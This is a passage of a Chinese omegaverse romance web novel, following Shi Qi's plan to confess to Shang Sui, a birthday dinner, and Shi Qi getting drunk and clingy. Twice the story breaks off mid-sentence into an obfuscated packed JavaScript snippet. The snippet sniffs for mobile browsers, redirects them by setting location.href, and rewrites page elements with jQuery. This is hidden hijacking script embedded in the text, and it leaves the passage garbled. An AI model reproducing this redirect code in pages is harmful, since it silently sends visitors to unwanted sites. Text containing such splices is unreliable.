时绮没说商随的易感期与一般Alpha不同,只简单道:“他一开始没告诉我,我去的时候已经快结束了。” 时安难得露出满意的神色:“还算有点儿分寸。” 姜宥宁原本想夸一句自制力挺好,下一瞬间,她在时绮走过来时闻到甜腻又浓重的信息素。 Alpha之间天然相互排斥,姜宥宁差点炸毛,浑身上下都觉得不自在:“你男朋友的信息素怎么这么冲??” 时绮维护道:“明明很好闻。” 时安冷笑:“哪里好闻了,甜腻腻的。” 时绮反驳:“我就喜欢甜的。” 时安:“?” 看时安表情不太好,姜宥宁咳嗽一声。 在时安看来,商随一开始有意无意隐瞒家境,显得太有主意,时绮又十分维护对方,多少让人担心以后被忽悠得团团转。 不过就算知根知底的傅思越,时安估计也会变着法挑刺。 虽然催着时绮恋爱结婚,真有了苗头,时安又比谁都舍不得。 她理解这种心理,连忙打圆场:“小绮本来就喜欢甜的啦,而且他们匹配度百分百,肯定会觉得好闻。” 提到匹配度,时安表情才好一些。 时绮见姜宥宁帮他说话,闷不啃声挨着她坐下。姜宥宁倒是很开心他跟自己亲近,但时绮身上的信息素犹如浓重的阴影压在她头顶,姜宥宁越发坐立不安。 她自身资质优异,一向是她用信息素压别人,很少会被另一个Alpha的信息素压制,对方甚至并未站在她面前。 姜宥宁开玩笑道:“你男朋友是特易A吗?他的信息素也太猛了。” 时绮没想到姜宥宁随口一句调侃竟然直击真相,一时间十分心虚。 他不擅长撒谎,只能假装没听见。 所幸特殊易感期的Alpha十分罕见,没人觉得真会让他遇上。 姜宥宁又嗅了嗅。 短短半天就染上这么重的信息素,这得做得多激烈啊。 她忽然问:“你没让他进生殖腔吧?” 时安警觉地转过头。 姜宥宁自说自话:“差点忘了,我给了你们避-孕套,应该不会。” 时绮见时安一直竖着耳朵听他们聊天,突然起了坏心思:“姐姐。” 姜宥宁:“?” 时绮给了姜宥宁一个眼神,而后状似不经意问:“你给我的东西是哪来的?” 姜宥宁心领神会,心说这小子真是讨打,却也跃跃欲试跟着时绮惹是生非:“书房啊。” “原来书房里有这种东西,难怪经常锁门。”时绮眨巴了一下眼睛,扭头对时安道,“爸爸,您小心点,我不想要弟弟妹妹。” 话音落下,姐弟俩默契地站起来,同时冲向室内电梯。 时安怔愣片刻,猛地反应过来是什么意思。 “姜宥宁!时绮!”时安在后面怒吼,“你们真是长本事了,偷偷拿爸爸的东西,还有时绮你什么意思??你给我过来——!!” 电梯门在时安追过来之前闭合。 “哎哟,不行,笑死我了!你看见小安爸爸的表情了吗!”姜宥宁捧腹大笑,连盘头发的簪子都落在地上。 时绮也一直在笑,边点头边道:“他脸都红了。” 闹这么一出,短时间内时安应该不会再追着他问东问西。 等到了楼上,时绮突然想到什么。 “对了姐姐,”姜宥宁对衣服首饰非常了解,时绮问,“圣诞节的时候商随送了我礼物,我想给他回礼,你有推荐吗?最好也是首饰。” “你男朋友送的是那条宝石腰链吧,既然能送你这个,一般的首饰估计他都见惯了。” 她想到什么,手机划到一个页面,递给时绮看:“我最近也在挑新首饰,这款我很喜欢。” “手链和脚链是一套,一般建议情侣分开佩戴。” “除此之外配有单独的长链条,可以把它们连起来。”姜宥宁坏笑着说,“佩戴好以后,抬手就可以拉拽另一个人的脚,是不是很有趣?” 时绮隐约感觉不太对劲,姜宥宁解释:“这是个新兴的珠宝品牌,最近很火,其实它们有很久的历史,原先是个做特殊道具的牌子。” “特殊道具?” “嗯……就是,一点儿小情趣啦。” 迎着时绮似懂非懂的目光,她有一种带坏小孩的心虚感,先一步强词夺理:“你别不信,我们Alpha就喜欢这些东西!” 时绮仔细看了看屏幕上的套链,其上装饰有粉色配孔雀绿的宝石,链条则是银质。 他的目光在英文介绍上停留,的确像姜宥宁说的,是推荐情侣使用的首饰。 总感觉哪里有点儿奇怪。 不过姜宥宁的眼光没话说,套链很漂亮,而且姜宥宁总不会骗他。 “挺好看的,链接发我。” “?” 姜宥宁原本只是想给他看看,没想到他还真要买。 她也体会到了和时安相似的担忧,越看越觉得弟弟像要把自己打包送出去,令她联想到动画片里自己给自己戴蝴蝶结又钻进礼物盒的猫。 姜宥宁最终语气复杂:“宝宝,你真是长大了。” 时绮满脑子都是别的事,没注意到这句话里的深意。 等回到自己的房间,他终于可以好好理一理心绪。 他从最初在绘涧相识,一直回忆到假扮情侣后两人相处的点点滴滴。 商随在祁江送他的铃兰手环被他带了回来,原本想做成永生花,但铃兰本就娇嫩脆弱,枯萎得太快,最后只能放弃。 脑海里闪过商随易感期的片段,似乎又回到充满信息素的画室。 时绮的耳根有些热,手指不知不觉点在自己的嘴唇上。 如果确认了关系,就可以天天亲,这么好的事…… 不行,想想别的,不能只顾着寻欢作乐。 时安和姜宥宁先前说的那些话,他多多少少听了进去。 他知道自己体质特殊,最好考虑到更长远的事情。 “长远”两个字在时绮脑子里打转半天,想到商随可以陪他睡觉、以后都不用失眠,何尝不是一种最确切的长远。 时绮思考再三,选择听从内心最真实的感受,果断下单姜宥宁发给他的套链。 决定好了。 等拿到首饰,就去跟商随告白。 时绮握了握拳。即将发生的事情令他感到前所未有的期待和兴奋,像要参加一场充满新鲜感的冒险,终点摆放的奖品格外诱人。 正在这时,手机忽然传来提示音。 江砚:[那个,时绮,你后天有时间吗?] 江砚:[沈千俞要过生日了,但我一个人给他过很尴尬,能不能请你和商随一起来?] 江砚边说边发了一个流泪的表情包。 江砚:[商随让我来问你,他说你们家你说了算。] 江砚:[请务必大驾光临。] 时绮的目光在“你们家”上停留片刻,打字回复。 17:[你跟沈千俞和好了?] [没有。]江砚踌躇道,[但每年生日我都陪他过,总不能因为吵架不过?] 17:[?] 江砚似乎也纠结了许久,逮着时绮一通噼里啪啦,中心思想为“他这个人没什么朋友,家人也在外地,要是我和商随都不去,一个人过生日多多少少有点可怜吧!” 时绮总感觉哪里不对,但是看江砚这副努力说服自己的模样,最后顺势道: 17:[好像也有道理。] 17:[那你们后天什么时候过?我有个朋友刚好也过生日。] 秦书赫的生日恰巧也在后天。秦书赫、林言和初桃那天要去看Mirage的演唱会,因为Mirage的主舞曾经是舞社的成员,还特意问过时绮要不要一起,被时绮没什么兴趣地拒绝。 演唱会结束回市区大概十点多,秦书赫索性约大家吃宵夜唱歌。 江砚:[晚饭时间可以吗?] 两场聚餐刚好错开。 17:[可以。] 17:[沈千俞喜欢什么?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229019|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去准备礼物。] 江砚喜出望外:[不用不用!还要什么礼物啊,你们来了就是最好的礼物!] 江砚补充一句:[而且你跟商随不是一家人吗,他肯定会准备的。] 时绮反复读了几遍,心想江砚还挺会说话。 抱着正式告白前先试探一下的心理,他给商随发了一条消息。 - “所以你是不知道怎么面对时绮,逃跑了吗?” 沈千俞看着身边一言不发的好友,一针见血道。 刚结束一场宴会,两人都身着正装。商随说有事找他,沈千俞认真倾听完他脆弱敏感的心事,这才知晓他和时绮真实的关系。 “说什么呢。”商随状似自然地否认。 “以往这一类交际活动你压根懒得参加。易感期刚结束,你应该更喜欢待在家里睡大觉。” 尽管看起来光彩照人,沈千俞却一眼识破他状态不佳,难得有商随的热闹看,他笑了笑:“一晚上没睡?时绮真有本事,把你折腾成这样。” “……” 商随转而开始踩他的痛脚:“听说有人已经了解好腺体移植手术的全部流程,可惜这招不太好用,江砚快被你吓死了。怎么回事啊沈院?” 两人同时沉默。 “不过我比你好很多呢。”商随欠欠地说,“我只是在思考怎么告白合适。” “按照你的性格,应该会准备独特的告白礼物、精挑细选一个风景好的地方,一切都要漂漂亮亮的,最后挑在一个有特殊意义的日子表明心意。” “……我也没这么浮夸吧。”商随被噎了一下,又道,“不过我最近确实订过独特的礼物。” 在祁江时,他感觉时绮很喜欢他送的手环,鲜花不好保存,他回来以后订了一款铃兰花形的手镯。 他自己画了雏形,又跟设计师沟通过,在了解珠宝材质、现有的工艺和可能耗费的工期之后,最终敲定好方案。 “但拿到要很长时间,我等不了。” 沈千俞十分无语:“请问你之前是以什么身份订的,不便宜吧,送这种东西只会让人觉得居心叵测,你是要逼婚吗?” “你放弃这堆有的没的,直接说不行?” 商随在宴会上喝了酒,他用手掌懒散地撑着脸,没有立即回答。 片刻过后,他忽然道:“你知道吗,当意识到有喜欢的人,开心和幸福不是最大的感受。” “对我来说,自卑才是。” 总认为自己足够特殊,又害怕一切是自作多情。 上一秒自负,下一秒自卑。 沈千俞这次没笑话他,而是低声说:“我知道,我怎么会不知道。” 觉得对方哪里都好,相比之下,自己这里不够完美、那里也做得不足。 玩得好的朋友都知道商随曾经有个白月光,但那只是调侃的说法。 得知时绮就是“那一位”后,他完全能理解商随为什么犹豫不决。 比起心动和爱恋,时绮的存在有着更为深刻的意义。 沈千俞还记得那年夏天过后,商随的性格发生了翻天覆地的变化。 若是特意教导一个人该如何活着,要表达自己内心的感受,要想办法忘记烦恼、走出阴影、活得开心……最终很可能成为一厢情愿的空谈。 时绮没有特意做任何事,却在不知不觉间促使变化发生。 这种受到吸引、自发而成的改变,其实有一个更为恰当的描述—— “他是拯救我的人。” 少年时期的商随说完夏日故事的一部分,轻声为他们之间不太完满的结局划下句号。 即使只有一个人记得,也有着非比寻常的意义。 想到这里,沈千俞忍不住问:“以前的事,你要不要借机一起告诉他?” 商随望着不远处晶莹剔透的熔岩吊灯,发了一会儿呆。 “既然忘了,说明不是重要的事情。” 他脸上挂着一贯的笑,用轻松的语气回答:“如果突然说‘我们曾经很熟悉,你还说过要嫁给我,你怎么能把一切都忘了呢?’……怎么看都像在算旧账,会给人压力。” “能开开心心在一起就好,没必要在告白的时候提过去。” 正说着。 他的手机屏幕倏忽亮起。 商随读完消息,突然道:“我应该可以准备告白了。” “恭喜,但你犹豫不决的毛病怎么治的?” 商随答非所问,盯着手机屏幕,用一种十分宠溺的语调说:“哎呀,我们宝宝真是可爱。” “……” 比起刚才满身苦情戏的那个,现在这个仿佛在对着手机发情。 沈千俞最后很有修养道:“祝你现在的勇气持续到告白那天。” 商随压根听不见他在说什么,正在脑补时绮敲下这行字的模样。 17:[江砚说我们是一家人,不用分开准备礼物。] 17:[我们是吗?] 隔着屏幕,他也能看见时绮伸出猫爪子,试探性向前走了一步。 他笑着打下回复。 Ss:[当然啦^^] 40.醉酒 一旦确定要跟商随告白,时绮每天都会看看礼物的动向。 物流显示套链今早从国外发货,预计七个工作日送达。时绮正在计算大致是哪一天,通知栏弹出一条新消息。 Ss:[我出门了,要我来接你吗?] 沈千俞今天生日,他们约好六点在绘涧见。 17:[好。] 时绮说着,把家里的位置发给他。 姜宥宁见他从楼上下来,随口询问:“你去哪,要不要我送你?” 时绮摇摇头:“商随来接我。” 姜宥宁捕捉到关键词,从沙发上蹦起来:“我也要去,让我见一见你男朋友!” “不要,你肯定会问东问西的。” “问问怎么了?我这是关心你,迟早有这么一回,见我总比见小安爸爸好——” 时绮盯着她须臾,忽然道:“姐姐,你头发有点乱。” 姜宥宁穿着T恤大裤衩,踩着人字拖不以为意:“我是见你男朋友,又不是见我女朋友。” “但我想你打扮一下见我男朋友。”时绮难得嘴甜,一口一个姐姐,“毕竟姐姐这么漂亮。” “哎呀真是的!你想这么多干嘛!” 姜宥宁表面不满,嘴角却向上翘起:“那好吧,你等我上去收拾。” 等姜宥宁上了电梯。 时绮头也不回往外走。 姜宥宁正准备从头发丝精致到鞋底全副武装,给这小子长长脸,从房间的窗户看见时绮的背影,她不可置信一瞬,而后推开窗子怒道: “时绮——!见一见怎么了,他又不会少块肉!” 时绮干脆跑起来。 到达约好的上车地点,不等商随和他打招呼,时绮拉开车门立即道:“快走!” “快一点。”商随对司机说完,转头问他,“发生什么了?” “姐姐可能会跟过来,她想见你。” 原本以为商随不想和他的家人见面,不料对方听后眼睫低垂,语气透出失落:“我很见不得人吗?” 或许是现在十分清楚自己的心意,近距离和商随身处同一空间,时绮的心跳不知不觉加速。 他摇摇头说:“我怕你嫌她烦。” “不会的,下次可以见。”商随朝他笑了笑,而后伸出手,指尖掠过时绮耳畔的发丝,“头发跑乱了。” 他的目光划过时绮白净小巧的耳垂,忽然问:“你想打耳钉吗?” “我怕疼。” 商随的手指顺势向下,轻轻揉捏他的耳垂:“你的耳垂很薄,应该不会特别疼。” 时绮只感觉被他触碰过地方传来一阵酥酥麻麻的痒意。他强迫自己盯着商随耳骨上的链条钉,尽量自然地接话:“你打的时候疼吗?” “耳朵还好,但我想在其他地方打一个。” “嗯?” “这里。”商随说着,微微张开唇,露出一小截艳红的舌尖。 时绮睁大眼睛,愣愣看向他。 亲吻时的记忆不由自主从脑海中闪过,他还记得商随是怎么缠着他不放,像要把他吞吃下去,一点点吮吸他的舌尖。 似乎嫌刺激还不够,商随直接问:“想在舌头上打一个,小绮觉得怎么样?” 他有意无意补充:“听说接吻时另一个人会有明显的感觉。” “……哦,可以。” 时绮面上镇定,耳根却快烧起来。 抵达绘涧时,外面不断有细雪飘落。 江砚留的是朝向庭院的包厢,沿走廊一路向前,时绮听见尽头传来些许争执的动静。 他没想太多,正准备推开门—— “等会儿再进去。”商随拉了他一把。 时绮反应过来,站在原地不动。里面的情况愈演愈烈,他忍不住问:“他们会不会打起来?” “不会。”商随毫无同理心,“打起来也不错,热闹。” “……” 半晌过后,包厢内重归平静。商随推门而入。 沈千俞脸上泛着红,向来整洁的衣衫略显凌乱。江砚一边整理被人拽过的领带,一边用手背擦嘴。两人之间仿佛隔了一片太平洋。 不知有意还是无意,商随哪壶不开提哪壶:“坐这么远干什么,你们很生分?” 沈千俞扫了他一眼。 商随进门后脱了外套,里面只有一件银蓝渐变的破洞毛衣。 沈千俞淡淡道:“今天零下三度,孔雀开屏也不是你这么个开法。” 江砚接过话茬:“要不你来我这上班吧,你都不用培训,天生就是吃这碗饭的。” “不行呢。”商随闲闲地说,“我已经卖身给小绮了,只能伺候他一个人。” “?”时绮莫名中枪,愣在原地。 见大家都看向自己,时绮有些尴尬。 他下意识拽了商随一把,又拍拍他的手背,示意他闭嘴。 却没想到,商随唇角不知不觉浮现笑意,竟是丝毫不知悔改,反而被他的小动作取悦到。 江砚看不惯商随嘚瑟的样子,抢先一步问:“时绮,你想吃什么?” “我都可以。”时绮说完,又把商随准备的礼物递给另一个人,“沈千俞,生日快乐。” “谢谢。” 时绮的年纪比他们小一些,和商随比起来,如同某种纯洁无瑕的小花。 一想到好友前两天要死要活的劲头,沈千俞本想稍微提醒一下时绮,商随告白成功还好说,万一告白失败…… 他都不敢想象这人能疯成什么样。 转念一想,自己现在还是一团乱麻,暂时轮不到他插手人家的事。 大家入座以后,有一搭没一搭闲聊。 看得出来,碍于沈千俞生日,江砚在竭力调整状态,但好几次沈千俞开口江砚都忍不住怼回去。连时绮都能感到气氛的微妙。 上菜时一并上了好几款颜色缤纷的饮料,时绮随手拿了一杯。江砚魂不守舍,没顾得上提醒他。 直到杯子快空了,江砚才发现不对:“你一直在喝这个?” 时绮迷迷糊糊:“嗯?” 他看这杯饮料漂亮,上层粉色、下层橙黄,猜测是果汁汽水一类,喝起来的确甜甜的,味道很不错。 “这里面有酒精。” 含量还不低。 是他怕面对沈千俞,想着微醺状态应该没那么尴尬,特意叫来灌自己的。 商随原本在跟沈千俞说话,闻言转过头:“有没有不舒服?” 之前听林言他们闲聊,时绮高中毕业时喝醉过,那晚闹了不少笑话,时绮醒来以后深觉丢人,几乎不碰酒。 江砚见他双颊逐渐泛红,一想到自己特意把时绮叫来,结果没照顾好人,不禁十分愧疚:“不好意思啊,我没注意到。” “没事,我也可以喝一点儿。” 见江砚还是紧张兮兮,时绮安慰道:“大不了丢个人。” “……?” 江砚忧心忡忡:“完了完了,他好像已经醉了。” 下一瞬间,时绮忽然道:“我有一个问题。” 商随十分配合:“请说。” “江砚和沈千俞,”酒精麻痹了时绮的分寸,只剩下满满的好奇心,“你们刚才是在里面偷偷亲嘴吗?” “噗……咳咳咳——!” 江砚直接被呛住,一张脸以肉眼可见的速度爆红。 商随看江砚实在可怜,适时补充:“我们家孩子说着玩的,大家不要在意。” 不料江砚刚顺过气,声音骤然拔高:“你怎么知道?!” 商随:“……” 有时候他觉得江砚被逼到今天这个地步,自身功不可没。 时绮懵懂又新奇地看着他们。沈千俞福至心灵,觉得他简直就是天使:“时绮好聪明。” 时绮点了点头,又问:“那你们在一起了?” “不是啊!”江砚据理力争,“是他强迫我——” 他原本想说自己领带都差点被扯坏,又觉得自己一个Alpha被强吻很是丢人,硬生生将后半句吞了回去。 在沈千俞隐秘的期盼里,时绮继续稳定发挥:“你是不好意思吗?其实Alpha和Alpha不算很罕见,我们学校也有。” 江砚自暴自弃:“说的也是,商随不也被告白过吗?” “什么?”时绮一愣。 商随原本正津津有味看热闹,闻言也是一愣。 江砚想也不想:“是个明星,找他买画,最后问他要不要——” 沈千俞咳嗽一声。 江砚这才意识到,商随从刚才起就似笑非笑盯着他。 每次被这样看着,绝对没好事。 江砚背后浮起一层鸡皮疙瘩,试图一笔带过:“总之,那什么,就是这样!” “什么明星,”时绮却没被忽悠过去,声音隐约透出寒意,“想跟他干什么。” 在商随使眼色之前,时绮敏锐地扭过头:“你不许掺合。” 他又看向江砚:“说。” 江砚在他的注视下条件反射坐直身子,心说时绮长这么乖巧,怎么命令起人来有模有样的,只能弱弱道:“就是想发展一下,有没有名分都行……” “都是很久以前的事了,我保证他绝无二心!” 时绮没有说话,片刻过后,若有所思地问:“你们是高中同学?上学的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239842|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,喜欢他的人多吗?” 江砚实话实说:“多啊。” 沈千俞:“不多。” 江砚连忙补救:“……哦哦,不多不多!” 沈千俞在心里叹了口气,心想江砚真是傻子。 时绮没搭腔,似乎不太高兴。 他一个人闷闷垂着眼,略微抿起唇,仿佛受了委屈。 商随把他的酒精饮料换成柠檬水,又用哄小孩的语气问:“小绮不开心吗?” 时绮突然抬头,用只有两个人能听见的音量道:“你自己说的,你已经卖身给我了。” 时绮说完,自认为很有威慑力地抬了抬下巴:“回头就把你关起来,不准出去招蜂引蝶。” 商随忍了忍,总算没在这时候拆他的台,伸手去挠他的下巴。 偏偏时绮又问:“听见没?” 商随没绷住,笑了一声:“这么霸道啊。” “少跟我嬉皮笑脸,有你哭的时候。”时绮不耐烦道,“卖身契呢?写一个给我。” 商随却没答应:“要不我们换换?” 他柔情蜜意地注视时绮,诱哄一样说:“小绮把自己卖给我吧,我一定好好对你。” “不要。” 时绮看见他这副放浪的样子就不爽,一听商随妄想骑到他头上,更是不乐意:“我要当老大。” 正说着,时绮的手机倏忽响起。 林言的声音从那头传来:“宝宝啊我们演唱会结束了!准备往回走,不过这边人太多,小桃姐说挪不动车,还要堵一段时间。” 背后隐约传来初桃和秦书赫的声音:“小绮和随哥在一起吗?” “人谈恋爱呢,肯定在一起。” 林言:“对了,我们还带了个人回来——” 时绮晕乎乎的大脑一时间处理不了如此聒噪的信息,秦书赫他们一会儿问想吃什么、一会儿又在讨论别的,如同一百只鹦鹉在耳边鸣叫。 商随拿过手机,替时绮回答:“他有点醉。” “啊?我都多少年没见他喝醉了,”林言兴致盎然,“一定要把他带过来啊,我要玩醉猫!” 挂掉电话后,时绮站起身:“我想上厕所。” 商随怕他一个人不方便,跟着他一起。 在时绮进隔间之前,商随确认道:“你自己可以吗?” “可以。” 时绮倒是没出什么意外,上完厕所从隔间出来,还不忘好好洗手。 盥洗台单独修在外面,时绮一边洗,一边抬眼看镜子。 商随站在不远处,正在等他。 就像沈千俞说的,这人雪天也穿得花枝招展,大开的领口露出一截锁骨,轻盈素净的蝴蝶纹身随他的呼吸振翅欲飞。 时绮收回目光,在心里想。 告白礼物怎么还不到,他快等不及了。 走到商随面前,时绮脚步一顿。 他突然想到什么,暗示道:“江砚和沈千俞没确定关系就抱在一起亲嘴。” 商随只当他喝醉了胡言乱语,耐心地答应一声。 见商随不为所动,时绮撇了撇嘴。 须臾过后,他又忍不住问:“如果打的话,你的舌钉要打在哪?” 时绮三番四次提到这一类话题,商随终于意识到什么。 他张开唇,修长的手指隔空点了点舌面。 “这里。” 时绮和他对视片刻。 那双狐狸似的眼睛仿若引人深陷的旋涡,无声地鼓励他遵从欲望。 时绮鬼使神差伸出手,指腹压上Alpha艳红的舌尖。 软软的,好热。 时绮才洗过手,纤长的手指带着冰冷湿润的水珠,依稀残留有洗手液清淡的茉莉香气。 商随眸光微闪,意味不明看向他。 时绮这才意识自己的动作多少有些冒犯。 他正想抽回手,Alpha低下头,如同被驯服的兽类,轻轻咬他的手指。 商随用牙齿磨了磨他淡粉色的指腹,嗓音模糊:“或者……要不要深一点?” 他的力道不重,却令时绮触电一样收回手:“随便你。” 商随却凑过来,笑吟吟地问:“小绮玩够了就把我丢一边吗?” 时绮没有回答,而是有些出神地想。 不能直接亲,间接亲一下总行吧。 酒精扰乱了时绮的神志,来不及考虑自己这样是否得体。 见他探出舌头,商随脸上的笑意倏忽顿住:“你……” 熟悉的声音令时绮撩起眼。 他迷迷糊糊看向商随,天使一样清纯漂亮的小脸满是红晕,盯着他舔了一下自己湿润的指尖。 41.黏人 这样就算亲到了。 舔完指尖,时绮心满意足看向商随,唇角绽开浅浅的笑容。 Omega薄薄的眼皮泛着红,过度的依赖和爱恋令他的眼眸格外湿润,流露出一种灵动而煽情、近乎引诱的神情。 就好像他真正想舔舐的是别的东西。 商随盯着他粉嫩的唇舌,脑子里不由自主闪过许多下流的念头,喉结慢慢滚动,声音也变得喑哑:“小绮在想什么?” 时绮没有回答。 隔了好一会儿,他才慢吞吞地说:“不告诉你。” 时绮转身将湿漉漉的手指放到水龙头下,想再洗一洗。 他没想到,身后的Alpha仿佛嗅到肉骨头气息的狗,难耐地贴了上来。 “我帮你吧?” 不等他回答,商随挤了一点透明的洗手液,手指插进他的指缝。 他们站得太近,后背紧紧贴着另一个人的胸膛,时绮不自觉绷紧身体。 感觉到对方的拇指摸到敏感的掌心,一圈一圈地揉,时绮微微瑟缩了一下,又很快不动。 他无意中瞥了一眼镜子,因为身高和体型差距,他整个像是被人圈在怀里。 商随着魔一样贴着他说话,黏黏糊糊的语气令时绮双腿发软:“你的手指好细,好漂亮。” 商随指间戴了好几枚宽戒,银质的拉丝表面在水流冲刷下一闪一闪。 相比之下,他的手指骨节的确没有商随宽。 注意到时绮真的在乖乖对比他们的手,商随动作一顿。 有一瞬间,他想直接把时绮压在盥洗台上。 “好了,洗干净了,”他压下粗鲁的念头,又恢复到先前温柔的模样,“走吧。” 时绮浑然不觉,抬手勾了一下他。商随意识到什么,和他十指相扣。 时绮弯起眼,开心地跟着他。 回到包厢,商随拿起手机,看见秦书赫在不久前才给他发了消息。 秦书赫:[哥!我们决定吃烧烤,到店差不多半小时,你们看着时间过来?] 秦书赫:[【分享位置】] 商随回了一个“好”,而后对沈千俞和江砚道:“我们先走了。” 江砚还没能把自己灌醉,闻言惊慌失措:“别啊!再留一会儿。” 商随不理他,转而对沈千俞道:“生日快乐。” 沈千俞应了一声,淡淡点头。商随看着这两人截然不同的反应:“你要不看在他生日的份上,从了他算了。” 江砚:“?” “哦,不对,”商随体贴地改口,“让他从了你。” 江砚面色惨淡:“你赶紧走吧。” 商随给时绮穿好厚厚的羽绒服,见他从头到尾十分配合,如同任由自己摆弄的玩具,不禁起了玩心:“来,给大家说再见。” “沈千俞拜拜,生日快乐。”时绮很是听话,“江砚拜拜。” 沈千俞配合地应:“下次见。” 江砚:“哎,拜拜拜拜。” 等他们走后,江砚忍不住撑着脸笑:“真可爱。” 沈千俞面色不好地看着他,心想江砚果然还是比较喜欢Omega,连带语气也透出警告的意味:“你小心点,时绮是商随的男朋友。” “……我不是那个意思!就是单纯的欣赏,跟看漂亮的小猫小狗一样!” 商随牵着迷迷糊糊的时绮一路往前。 外面的落雪不知何时停止。乍一接触到冷空气,时绮动了动鼻子。 商随把他塞进温暖的车内,抬手给他系安全带。两人的距离近在咫尺,时绮能够清楚看见他长长的睫毛和眼角的泪痣。 呼吸不禁乱了一拍,时绮没话找话:“你开车吗?” “嗯,秦书赫那边不知道多久结束,我让司机先下班了。” 时绮点点头,心说商随还挺好心。 就像江砚说的,那杯五彩缤纷的调酒后劲很大。坐在温度适宜的车内,时绮很快感到一阵倦意。 他不知不觉闭上眼,慢慢陷入浅眠。 再醒来时,已经到了停车场。 商随拉他下车,旁边另一辆车冲他们按了按喇叭,时绮不耐烦地抬眼看去,对上秦书赫热情洋溢的脸。 “时绮!哥!” 看见是他们,时绮表情好了很多。林言两三步走过来,兴致勃勃比V:“这是几?” 时绮不说话,用一种看傻子的眼神看他。 初桃泊好车,从驾驶位下来:“我们还带了一个人。” 她边说边示意道:“下来吧大明星。” 最后下车的年轻Alpha戴了顶鸭舌帽,遮住大半张脸。 他脸上带着烟熏妆,很是热络地打招呼:“嗨,好久不见。” 时绮沉默片刻:“你哪位?” “……” 林言发出一声笑:“应羽然啊,你不认识他了?” 他们今天看的是Mirage的演唱会,应羽然是Mirage的主舞,也是林言和时绮的高中同学、大学校友。 应羽然当初在A大短暂读了三个月出道,也加入过舞社。 初桃和他很熟悉,嘻嘻哈哈接过话茬:“都怪你化这么浓的妆。” 她说完看向时绮,语气甜蜜地问:“小绮,你还认不认识我呀?” 时绮和她对视一眼,而后转过身,把头埋进商随怀里。 “……”初桃耸耸肩,“好了,这只猫现在只认随哥。” 秦书赫的声音适时插进来:“走走走,先去吃饭,饿死我了。” 时绮似乎嫌他们吵,一直往商随怀里拱,想把自己藏起来。 商随没忍住揉了揉他的脑袋,时绮很受用,依靠着他一动不动。 秦书赫乐道:“他喝醉以后这么黏人?哥你干脆抱着他走吧。” 初桃起哄:“同意同意,我们公主就要配公主抱!” 应羽然稀奇地看着这副场面:“时绮真谈恋爱了?” “那不然呢,你当我们骗你?” “他男朋友长得真帅。”应羽然感慨,“之前还有一点小小的不服气,现在彻底服了。” 林言知道他是在开玩笑,不然也不会带他过来。 应羽然高中暗恋过时绮一段时间,后来意识到时绮对他没意思,悲伤一周后彻底死心。 他倒是很有分寸,时绮从头到尾甚至不知道他丰富的内心变化。 林言看出了应羽然的心思,但对方主动退回朋友的位置,便也没跟时绮提过。 考虑到应羽然是艺人,秦书赫特意找了一个有半封闭隔断的烧烤店。 所有人同时举杯,祝福秦书赫—— “生日快乐!” 玻璃杯碰撞发出清脆的声响。商随才注意到时绮杯里的不是可乐:“你喝酒了?” 时绮:“唔?” 他喝的是初桃点的树莓啤酒,与印象里啤酒的苦涩不同,味道更为清甜。 一杯喝完,时绮意犹未尽:“好喝……再来一杯。” 林言笑话他:“这下真成醉猫了。” 怕他喝太多不舒服,商随往他的杯子里添加冰块,只倒了一半的酒,却也有满杯的效果:“少喝一点哦。” 时绮没注意到商随的小把戏,把杯子拿了回去。 林言将这一切尽收眼底,在心里不断点头。 符合时绮审美的Alpha里十个有九个都是渣男,与勾人外表不同,商随比他想象中更加靠谱,对时绮也很细心。 加上他们的匹配度,如果以后愿意结合,还能治好时绮的病。 某种程度而言,他觉得商随的出现像是给时绮准备的礼物,仿佛命运的馈赠。 在场好几个都是话唠,聊着聊着,自然而然讲到高中。 林言想到什么:“说起来,最近在祁江见到很多无尽夏,我突然想到时绮高中毕业拿的花束也是无尽夏。” 林言看向应羽然:“还是你给他的吧?” 时绮也想起这件事。 他们的毕业典礼在高考结束后举行,返校那天正好夏至。 姜宥宁提前给他准备了花,让他带着,晚些时候她会和长辈们过来跟他拍毕业照。 应羽然却不小心把他的花束打散。好巧不巧,那一片正好在重建,花束掉进泥坑里,捞起来都要费不少劲。 见花束在泥水中散开,时绮表情冷了下来。 应羽然赶紧道歉,着急忙慌跑出去买花,最后带回一束以无尽夏为主体、围绕飞燕草和雪柳的粉蓝色花束。 时绮本来不想用对方给的花拍毕业照,可一时间找不到替代,那束花又真的很漂亮。 应羽然举起手:“我坦白,花其实不是我买的,是一个好心的大帅哥给我的。” “大家都在买花,学校门口的花店没剩多少花材。我当时看他路过,不太像要参加毕业典礼,就试探性问了问,能不能把这束花用双倍价格卖给我。” “他没要钱,直接给我了。”应羽然想到这里十分感动,只觉得记忆里的帅哥洋溢着人性美的光辉,“真的特别帅!戴着口罩都能看出来。” “Alpha?” “嗯,眼睛跟会放电似的。” 说话间,他不知不觉看向商随。 他本来想说,那双眼睛和时绮的男朋友有些相似,都是微微上挑的狐狸眼。又觉得这样说不太好,最后没开口。 初桃啧啧啧:“你是不是跟你队友卖腐卖多了,你一个Alpha形容同性这么暧昧。” 今晚接二连三出现Alpha和Alpha暧昧的话题。时绮在他们聊天过程中转过头,商随一直没有说话,神色不明地思考着什么。 时绮忍不住问:“你不喜欢Alpha吧?” “嗯?” 